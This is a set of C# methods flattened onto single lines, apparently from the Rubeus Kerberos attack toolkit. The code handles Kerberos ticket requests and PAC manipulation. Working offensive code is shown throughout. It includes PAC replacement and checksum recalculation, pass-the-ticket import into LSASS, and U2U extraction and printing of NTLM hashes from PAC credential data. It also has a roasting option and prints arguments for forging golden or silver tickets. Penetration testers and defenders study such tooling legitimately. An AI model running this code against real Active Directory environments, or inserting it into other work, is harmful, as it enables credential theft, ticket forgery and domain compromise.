public void SetPac(PACTYPE pac) { if (authorization_data == null) { authorization_data = new List <AuthorizationData>(); } List <AuthorizationData> oldAuthData = new List <AuthorizationData>(); foreach (var authdata in authorization_data) { ADIfRelevant tmpifrelevant = new ADIfRelevant(); foreach (var adData in ((ADIfRelevant)authdata).ADData) { if (!(adData is ADWin2KPac win2k_pac)) { tmpifrelevant.ADData.Add(adData); } } if (tmpifrelevant.ADData.Count > 0) { oldAuthData.Add(tmpifrelevant); } } authorization_data = new List <AuthorizationData>(); ADIfRelevant ifrelevant = new ADIfRelevant(); ifrelevant.ADData.Add(new ADWin2KPac(pac)); authorization_data.Add(ifrelevant); foreach (var authdata in oldAuthData) { authorization_data.Add(authdata); } }
public byte[] CalculateTicketChecksum(byte[] krbKey, Interop.KERB_CHECKSUM_ALGORITHM krbChecksumType) { byte[] ticketChecksum = null; byte[] oldWin2kPacData = null; PACTYPE oldWin2kPac = null; EncTicketPart tmpEncTicketPart = this; // find the PAC and place a zero in it's ad-data List <AuthorizationData> newAuthData = new List <AuthorizationData>(); foreach (var tmpadData in tmpEncTicketPart.authorization_data) { ADIfRelevant tmpifrelevant = new ADIfRelevant(); foreach (var ifrelevant in ((ADIfRelevant)tmpadData).ADData) { if (ifrelevant is ADWin2KPac win2k_pac) { oldWin2kPacData = win2k_pac.ad_data; oldWin2kPac = win2k_pac.Pac; ADWin2KPac tmpWin2k = new ADWin2KPac(); tmpWin2k.ad_data = new byte[] { 0x00 }; tmpWin2k.Pac = null; tmpifrelevant.ADData.Add(tmpWin2k); } else { tmpifrelevant.ADData.Add(ifrelevant); } } newAuthData.Add(tmpifrelevant); } tmpEncTicketPart.authorization_data = newAuthData; ticketChecksum = Crypto.KerberosChecksum(krbKey, tmpEncTicketPart.Encode().Encode(), krbChecksumType); foreach (var tmpadData in tmpEncTicketPart.authorization_data) { ADIfRelevant tmpifrelevant = new ADIfRelevant(); foreach (var ifrelevant in ((ADIfRelevant)tmpadData).ADData) { if (ifrelevant is ADWin2KPac win2k_pac) { win2k_pac.ad_data = oldWin2kPacData; win2k_pac.Pac = oldWin2kPac; } } } return(ticketChecksum); }
protected override void Decode(AsnElt data, byte[] asrepKey = null) { foreach (AsnElt s in data.Sub) { switch (s.TagValue) { case 0: ad_type = (Interop.AuthorizationDataType)s.Sub[0].GetInteger(); break; case 1: ad_data = s.Sub[0].CopyValue(); Pac = new PACTYPE(ad_data, asrepKey); break; default: break; } } }
public bool TicketChecksumExists() { bool ret = false; PACTYPE pt = null; // get the PAC if (authorization_data != null) { foreach (var addata in authorization_data) { foreach (var ifrelevant in ((ADIfRelevant)addata).ADData) { if (ifrelevant is ADWin2KPac win2k_pac) { pt = win2k_pac.Pac; } } } } // If not PAC was retrieved return false if (pt == null) { return(ret); } // look for the TicketChecksum foreach (var pacInfoBuffer in pt.PacInfoBuffers) { if (pacInfoBuffer.Type is PacInfoBufferType.TicketChecksum) { ret = true; } } return(ret); }
private static byte[] HandleASREP(AsnElt responseAsn, Interop.KERB_ETYPE etype, string keyString, string outfile, bool ptt, LUID luid = new LUID(), bool describe = false, bool verbose = false, AS_REQ asReq = null, string serviceKey = "", bool getCredentials = false, string dcIP = "") { // parse the response to an AS-REP AS_REP rep = new AS_REP(responseAsn); // convert the key string to bytes byte[] key; if (GetPKInitRequest(asReq, out PA_PK_AS_REQ pkAsReq)) { // generate the decryption key using Diffie Hellman shared secret PA_PK_AS_REP pkAsRep = (PA_PK_AS_REP)rep.padata[0].value; key = pkAsReq.Agreement.GenerateKey(pkAsRep.DHRepInfo.KDCDHKeyInfo.SubjectPublicKey.DepadLeft(), new byte[0], pkAsRep.DHRepInfo.ServerDHNonce, GetKeySize(etype)); } else { // convert the key string to bytes key = Helpers.StringToByteArray(asReq.keyString); } // decrypt the enc_part containing the session key/etc. // TODO: error checking on the decryption "failing"... byte[] outBytes; if (etype == Interop.KERB_ETYPE.des_cbc_md5) { // KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY = 8 outBytes = Crypto.KerberosDecrypt(etype, Interop.KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY, key, rep.enc_part.cipher); } else if (etype == Interop.KERB_ETYPE.rc4_hmac) { // KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY = 8 outBytes = Crypto.KerberosDecrypt(etype, Interop.KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY, key, rep.enc_part.cipher); } else if (etype == Interop.KERB_ETYPE.aes128_cts_hmac_sha1) { // KRB_KEY_USAGE_AS_REP_EP_SESSION_KEY = 3 outBytes = Crypto.KerberosDecrypt(etype, Interop.KRB_KEY_USAGE_AS_REP_EP_SESSION_KEY, key, rep.enc_part.cipher); } else if (etype == Interop.KERB_ETYPE.aes256_cts_hmac_sha1) { // KRB_KEY_USAGE_AS_REP_EP_SESSION_KEY = 3 outBytes = Crypto.KerberosDecrypt(etype, Interop.KRB_KEY_USAGE_AS_REP_EP_SESSION_KEY, key, rep.enc_part.cipher); } else { throw new RubeusException("[X] Encryption type \"" + etype + "\" not currently supported"); } AsnElt ae = AsnElt.Decode(outBytes); EncKDCRepPart encRepPart = new EncKDCRepPart(ae.Sub[0]); // now build the final KRB-CRED structure KRB_CRED cred = new KRB_CRED(); // add the ticket cred.tickets.Add(rep.ticket); // build the EncKrbCredPart/KrbCredInfo parts from the ticket and the data in the encRepPart KrbCredInfo info = new KrbCredInfo(); // [0] add in the session key info.key.keytype = encRepPart.key.keytype; info.key.keyvalue = encRepPart.key.keyvalue; // [1] prealm (domain) info.prealm = encRepPart.realm; // [2] pname (user) info.pname.name_type = rep.cname.name_type; info.pname.name_string = rep.cname.name_string; // [3] flags info.flags = encRepPart.flags; // [4] authtime (not required) // [5] starttime info.starttime = encRepPart.starttime; // [6] endtime info.endtime = encRepPart.endtime; // [7] renew-till info.renew_till = encRepPart.renew_till; // [8] srealm info.srealm = encRepPart.realm; // [9] sname info.sname.name_type = encRepPart.sname.name_type; info.sname.name_string = encRepPart.sname.name_string; // add the ticket_info into the cred object cred.enc_part.ticket_info.Add(info); byte[] kirbiBytes = cred.Encode().Encode(); if (verbose) { string kirbiString = Convert.ToBase64String(kirbiBytes); Console.WriteLine("[*] base64(ticket.kirbi):\r\n", kirbiString); if (Rubeus.Program.wrapTickets) { // display the .kirbi base64, columns of 80 chararacters foreach (string line in Helpers.Split(kirbiString, 80)) { Console.WriteLine(" {0}", line); } } else { Console.WriteLine(" {0}", kirbiString); } } if (!String.IsNullOrEmpty(outfile)) { outfile = Helpers.MakeValidFileName(outfile); if (Helpers.WriteBytesToFile(outfile, kirbiBytes)) { if (verbose) { Console.WriteLine("\r\n[*] Ticket written to {0}\r\n", outfile); } } } if (ptt || ((ulong)luid != 0)) { // pass-the-ticket -> import into LSASS LSA.ImportTicket(kirbiBytes, luid); } if (describe) { KRB_CRED kirbi = new KRB_CRED(kirbiBytes); LSA.DisplayTicket(kirbi, 2, false, false, false, false, string.IsNullOrEmpty(serviceKey) ? null : Helpers.StringToByteArray(serviceKey), key); } if (getCredentials) { Console.WriteLine("[*] Getting credentials using U2U\r\n"); byte[] u2uBytes = TGS_REQ.NewTGSReq(info.pname.name_string[0], info.prealm, info.pname.name_string[0], cred.tickets[0], info.key.keyvalue, (Interop.KERB_ETYPE)info.key.keytype, Interop.KERB_ETYPE.subkey_keymaterial, false, String.Empty, false, false, false, false, cred, "", true); byte[] u2uResponse = Networking.SendBytes(dcIP, 88, u2uBytes); if (u2uResponse == null) { return(null); } AsnElt u2uResponseAsn = AsnElt.Decode(u2uResponse); // check the response value int responseTag = u2uResponseAsn.TagValue; if (responseTag == (int)Interop.KERB_MESSAGE_TYPE.TGS_REP) { // parse the response to an TGS-REP and get the PAC TGS_REP u2uRep = new TGS_REP(u2uResponseAsn); EncTicketPart u2uEncTicketPart = u2uRep.ticket.Decrypt(info.key.keyvalue, key); PACTYPE pt = u2uEncTicketPart.GetPac(key); // look for the credential information and print foreach (var pacInfoBuffer in pt.PacInfoBuffers) { if (pacInfoBuffer is PacCredentialInfo ci) { Console.WriteLine(" CredentialInfo :"); Console.WriteLine(" Version : {0}", ci.Version); Console.WriteLine(" EncryptionType : {0}", ci.EncryptionType); if (ci.CredentialInfo.HasValue) { Console.WriteLine(" CredentialData :"); Console.WriteLine(" CredentialCount : {0}", ci.CredentialInfo.Value.CredentialCount); foreach (var credData in ci.CredentialInfo.Value.Credentials) { string hash = ""; if ("NTLM".Equals(credData.PackageName.ToString())) { int version = BitConverter.ToInt32((byte[])(Array)credData.Credentials, 0); int flags = BitConverter.ToInt32((byte[])(Array)credData.Credentials, 4); if (flags == 3) { hash = String.Format("{0}:{1}", Helpers.ByteArrayToString(((byte[])(Array)credData.Credentials).Skip(8).Take(16).ToArray()), Helpers.ByteArrayToString(((byte[])(Array)credData.Credentials).Skip(24).Take(16).ToArray())); } else { hash = String.Format("{0}", Helpers.ByteArrayToString(((byte[])(Array)credData.Credentials).Skip(24).Take(16).ToArray())); } } else { hash = Helpers.ByteArrayToString((byte[])(Array)credData.Credentials); } Console.WriteLine(" {0} : {1}", credData.PackageName, hash); } } else { Console.WriteLine(" CredentialData : *** NO KEY ***"); } } } } else if (responseTag == (int)Interop.KERB_MESSAGE_TYPE.ERROR) { // parse the response to an KRB-ERROR KRB_ERROR error = new KRB_ERROR(u2uResponseAsn.Sub[0]); Console.WriteLine("\r\n[X] KRB-ERROR ({0}) : {1}\r\n", error.error_code, (Interop.KERBEROS_ERROR)error.error_code); } else { Console.WriteLine("\r\n[X] Unknown application tag: {0}", responseTag); } } return(kirbiBytes); }
public static byte[] TGS(string userName, string domain, Ticket providedTicket, byte[] clientKey, Interop.KERB_ETYPE paEType, string service, Interop.KERB_ETYPE requestEType = Interop.KERB_ETYPE.subkey_keymaterial, string outfile = "", bool ptt = false, string domainController = "", bool display = true, bool enterprise = false, bool roast = false, bool opsec = false, KRB_CRED tgs = null, string targetDomain = "", string servicekey = "", string asrepkey = "", bool u2u = false, string targetUser = "", bool printargs = false) { string dcIP = Networking.GetDCIP(domainController, display); if (String.IsNullOrEmpty(dcIP)) { return(null); } if (display) { if (requestEType == Interop.KERB_ETYPE.subkey_keymaterial) { Console.WriteLine("[*] Requesting default etypes (RC4_HMAC, AES[128/256]_CTS_HMAC_SHA1) for the service ticket", requestEType); } else { Console.WriteLine("[*] Requesting '{0}' etype for the service ticket", requestEType); } if (!String.IsNullOrEmpty(service)) { Console.WriteLine("[*] Building TGS-REQ request for: '{0}'", service); } else if (u2u) { Console.WriteLine("[*] Building User-to-User TGS-REQ request for: '{0}'", userName); } else { Console.WriteLine("[*] Building TGS-REQ request"); } } // if /service is empty get name from the supplied /tgs if (u2u && tgs != null && String.IsNullOrEmpty(service)) { service = tgs.enc_part.ticket_info[0].pname.name_string[0]; } byte[] tgsBytes = TGS_REQ.NewTGSReq(userName, domain, service, providedTicket, clientKey, paEType, requestEType, false, targetUser, enterprise, roast, opsec, false, tgs, targetDomain, u2u); byte[] response = Networking.SendBytes(dcIP, 88, tgsBytes); if (response == null) { return(null); } // decode the supplied bytes to an AsnElt object // false == ignore trailing garbage AsnElt responseAsn = AsnElt.Decode(response); // check the response value int responseTag = responseAsn.TagValue; if (responseTag == (int)Interop.KERB_MESSAGE_TYPE.TGS_REP) { if (display) { Console.WriteLine("[+] TGS request successful!"); } // parse the response to an TGS-REP TGS_REP rep = new TGS_REP(responseAsn); // KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY = 8 byte[] outBytes = Crypto.KerberosDecrypt(paEType, Interop.KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY, clientKey, rep.enc_part.cipher); AsnElt ae = AsnElt.Decode(outBytes); EncKDCRepPart encRepPart = new EncKDCRepPart(ae.Sub[0]); // if using /opsec and the ticket is for a server configuration for unconstrained delegation, request a forwardable TGT if (opsec && (!roast) && ((encRepPart.flags & Interop.TicketFlags.ok_as_delegate) != 0)) { byte[] tgtBytes = TGS_REQ.NewTGSReq(userName, domain, string.Format("krbtgt/{0}", domain), providedTicket, clientKey, paEType, requestEType, false, "", enterprise, roast, opsec, true); byte[] tgtResponse = Networking.SendBytes(dcIP, 88, tgtBytes); } // now build the final KRB-CRED structure KRB_CRED cred = new KRB_CRED(); // add the ticket cred.tickets.Add(rep.ticket); // build the EncKrbCredPart/KrbCredInfo parts from the ticket and the data in the encRepPart KrbCredInfo info = new KrbCredInfo(); // [0] add in the session key info.key.keytype = encRepPart.key.keytype; info.key.keyvalue = encRepPart.key.keyvalue; // [1] prealm (domain) info.prealm = rep.crealm; // [2] pname (user) info.pname.name_type = rep.cname.name_type; info.pname.name_string = rep.cname.name_string; // [3] flags info.flags = encRepPart.flags; // [4] authtime (not required) // [5] starttime info.starttime = encRepPart.starttime; // [6] endtime info.endtime = encRepPart.endtime; // [7] renew-till info.renew_till = encRepPart.renew_till; // [8] srealm info.srealm = encRepPart.realm; // [9] sname info.sname.name_type = encRepPart.sname.name_type; info.sname.name_string = encRepPart.sname.name_string; // add the ticket_info into the cred object cred.enc_part.ticket_info.Add(info); byte[] kirbiBytes = cred.Encode().Encode(); string kirbiString = Convert.ToBase64String(kirbiBytes); if (ptt) { // pass-the-ticket -> import into LSASS LSA.ImportTicket(kirbiBytes, new LUID()); } if (String.IsNullOrEmpty(servicekey) && u2u) { servicekey = Helpers.ByteArrayToString(clientKey); } if (display) { Console.WriteLine("[*] base64(ticket.kirbi):\r\n", kirbiString); if (Rubeus.Program.wrapTickets) { // display the .kirbi base64, columns of 80 chararacters foreach (string line in Helpers.Split(kirbiString, 80)) { Console.WriteLine(" {0}", line); } } else { Console.WriteLine(" {0}", kirbiString); } KRB_CRED kirbi = new KRB_CRED(kirbiBytes); LSA.DisplayTicket(kirbi, 2, false, false, false, false, string.IsNullOrEmpty(servicekey) ? null : Helpers.StringToByteArray(servicekey), string.IsNullOrEmpty(asrepkey) ? null : Helpers.StringToByteArray(asrepkey)); } if (!String.IsNullOrEmpty(outfile)) { outfile = Helpers.MakeValidFileName(outfile); if (Helpers.WriteBytesToFile(outfile, kirbiBytes)) { if (display) { Console.WriteLine("\r\n[*] Ticket written to {0}\r\n", outfile); } } } if (!String.IsNullOrEmpty(servicekey) && printargs) { var decryptedEncTicket = cred.tickets[0].Decrypt(Helpers.StringToByteArray(servicekey), null); PACTYPE pt = decryptedEncTicket.GetPac(null); if (pt == null) { Console.WriteLine("[X] Unable to get the PAC"); return(kirbiBytes); } string outArgs = String.Empty; foreach (var pacInfoBuffer in pt.PacInfoBuffers) { if (pacInfoBuffer is LogonInfo li) { outArgs = String.Format("/user:{0} /id:{1} /pgid:{2} /logoncount:{3} /badpwdcount:{4} /sid:{5} /netbios:{6}", li.KerbValidationInfo.EffectiveName, li.KerbValidationInfo.UserId, li.KerbValidationInfo.PrimaryGroupId, li.KerbValidationInfo.LogonCount, li.KerbValidationInfo.BadPasswordCount, li.KerbValidationInfo.LogonDomainId.GetValue(), li.KerbValidationInfo.LogonDomainName); if (!String.IsNullOrEmpty(li.KerbValidationInfo.FullName.ToString())) { outArgs = String.Format("{0} /displayname:\"{1}\"", outArgs, li.KerbValidationInfo.FullName); } if (!String.IsNullOrEmpty(li.KerbValidationInfo.LogonScript.ToString())) { outArgs = String.Format("{0} /scriptpath:\"{1}\"", outArgs, li.KerbValidationInfo.LogonScript); } if (!String.IsNullOrEmpty(li.KerbValidationInfo.ProfilePath.ToString())) { outArgs = String.Format("{0} /profilepath:\"{1}\"", outArgs, li.KerbValidationInfo.ProfilePath); } if (!String.IsNullOrEmpty(li.KerbValidationInfo.HomeDirectory.ToString())) { outArgs = String.Format("{0} /homedir:\"{1}\"", outArgs, li.KerbValidationInfo.HomeDirectory); } if (!String.IsNullOrEmpty(li.KerbValidationInfo.HomeDirectoryDrive.ToString())) { outArgs = String.Format("{0} /homedrive:\"{1}\"", outArgs, li.KerbValidationInfo.HomeDirectoryDrive); } if (li.KerbValidationInfo.GroupCount > 0) { outArgs = String.Format("{0} /groups:{1}", outArgs, li.KerbValidationInfo.GroupIds?.GetValue().Select(g => g.RelativeId.ToString()).Aggregate((cur, next) => cur + "," + next)); } if (li.KerbValidationInfo.SidCount > 0) { outArgs = String.Format("{0} /sids:{1}", outArgs, li.KerbValidationInfo.ExtraSids.GetValue().Select(s => s.Sid.ToString()).Aggregate((cur, next) => cur + "," + next)); } if (li.KerbValidationInfo.ResourceGroupCount > 0) { outArgs = String.Format("{0} /resourcegroupsid:{1} /resourcegroups:{2}", outArgs, li.KerbValidationInfo.ResourceGroupDomainSid.GetValue().ToString(), li.KerbValidationInfo.ResourceGroupIds.GetValue().Select(g => g.RelativeId.ToString()).Aggregate((cur, next) => cur + "," + next)); } try { outArgs = String.Format("{0} /logofftime:\"{1}\"", outArgs, DateTime.FromFileTimeUtc((long)li.KerbValidationInfo.LogoffTime.LowDateTime | ((long)li.KerbValidationInfo.LogoffTime.HighDateTime << 32)).ToLocalTime()); } catch { } DateTime?passLastSet = null; try { passLastSet = DateTime.FromFileTimeUtc((long)li.KerbValidationInfo.PasswordLastSet.LowDateTime | ((long)li.KerbValidationInfo.PasswordLastSet.HighDateTime << 32)); } catch { } if (passLastSet != null) { outArgs = String.Format("{0} /pwdlastset:\"{1}\"", outArgs, ((DateTime)passLastSet).ToLocalTime()); DateTime?passCanSet = null; try { passCanSet = DateTime.FromFileTimeUtc((long)li.KerbValidationInfo.PasswordCanChange.LowDateTime | ((long)li.KerbValidationInfo.PasswordCanChange.HighDateTime << 32)); } catch { } if (passCanSet != null) { outArgs = String.Format("{0} /minpassage:{1}d", outArgs, (((DateTime)passCanSet) - ((DateTime)passLastSet)).Days); } DateTime?passMustSet = null; try { passCanSet = DateTime.FromFileTimeUtc((long)li.KerbValidationInfo.PasswordMustChange.LowDateTime | ((long)li.KerbValidationInfo.PasswordMustChange.HighDateTime << 32)); } catch { } if (passMustSet != null) { outArgs = String.Format("{0} /maxpassage:{1}d", outArgs, (((DateTime)passMustSet) - ((DateTime)passLastSet)).Days); } } if (!String.IsNullOrEmpty(li.KerbValidationInfo.LogonServer.ToString())) { outArgs = String.Format("{0} /dc:{1}.{2}", outArgs, li.KerbValidationInfo.LogonServer.ToString(), cred.tickets[0].realm); } if ((Interop.PacUserAccountControl)li.KerbValidationInfo.UserAccountControl != Interop.PacUserAccountControl.NORMAL_ACCOUNT) { outArgs = String.Format("{0} /uac:{1}", outArgs, String.Format("{0}", (Interop.PacUserAccountControl)li.KerbValidationInfo.UserAccountControl).Replace(" ", "")); } } } Console.WriteLine("\r\n[*] Printing argument list for use with Rubeus' 'golden' or 'silver' commands:\r\n\r\n{0}\r\n", outArgs); } return(kirbiBytes); } else if (responseTag == (int)Interop.KERB_MESSAGE_TYPE.ERROR) { // parse the response to an KRB-ERROR KRB_ERROR error = new KRB_ERROR(responseAsn.Sub[0]); Console.WriteLine("\r\n[X] KRB-ERROR ({0}) : {1}\r\n", error.error_code, (Interop.KERBEROS_ERROR)error.error_code); } else { Console.WriteLine("\r\n[X] Unknown application tag: {0}", responseTag); } return(null); }
public ADWin2KPac(PACTYPE pac) { ad_type = Interop.AuthorizationDataType.AD_WIN2K_PAC; Pac = pac; }
public ADWin2KPac(byte[] data, byte[] asrepKey) { ad_type = Interop.AuthorizationDataType.AD_WIN2K_PAC; Pac = new PACTYPE(data, asrepKey); }
public ADWin2KPac(byte[] data) { ad_type = Interop.AuthorizationDataType.AD_WIN2K_PAC; Pac = new PACTYPE(data, null); }